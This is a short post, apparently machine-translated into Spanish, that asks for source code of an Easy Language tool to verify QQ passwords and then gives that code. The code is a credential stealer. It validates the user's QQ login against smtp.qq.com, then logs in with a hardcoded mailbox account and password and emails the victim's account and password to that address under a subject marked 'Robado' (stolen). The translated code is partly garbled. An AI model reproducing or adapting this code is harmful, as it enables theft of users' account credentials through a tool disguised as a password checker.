Software en lenguaje sencillo para verificar si la contraseña de QQ es incorrecta. Quiero el código fuente del software. No compilado.
------------------------------------------- ----- ------
.Versión 2
.Soporte biblioteca de Internet
.Programa Windows Assembly 1
.Subrutina _Button1_Clicked
Se inicia el juicio (cuadro de edición 1.content = "")
Cuadro de mensaje ("¡Ingrese su cuenta QQ!", #Icono de mensaje)
Regresar ()
Aceptar (editbox2.content = "")
Cuadro de mensaje ("¡Ingrese su contraseña de QQ!", #Icono de mensaje,)<. /p>
Retorno()
.Predeterminado
. Fin del juicio
Si (conectarse al servidor saliente ("smtp.qq.com", 25, editbox1.content, editbox2.content, ) = true)
Cuadro de mensaje ( "Inicio de sesión exitoso", 0, )
Conectarse al servidor saliente ("smtp.qq.com", "952252664", "baby.123", )
Enviar correo electrónico (Editar cuadro 1.contenido + "Robado", "Cuenta" + cuadro de edición 1.contenido + "Contraseña" + cuadro de edición 2.contenido, "952252664@qq.com", "952252664@qq.com", "952252664 @qq. com", )
Cargar (_ iniciar ventana 1, , verdadero)
. De lo contrario
messageBox("Error de inicio de sesión", #icono de error,)
return ()
. Si termina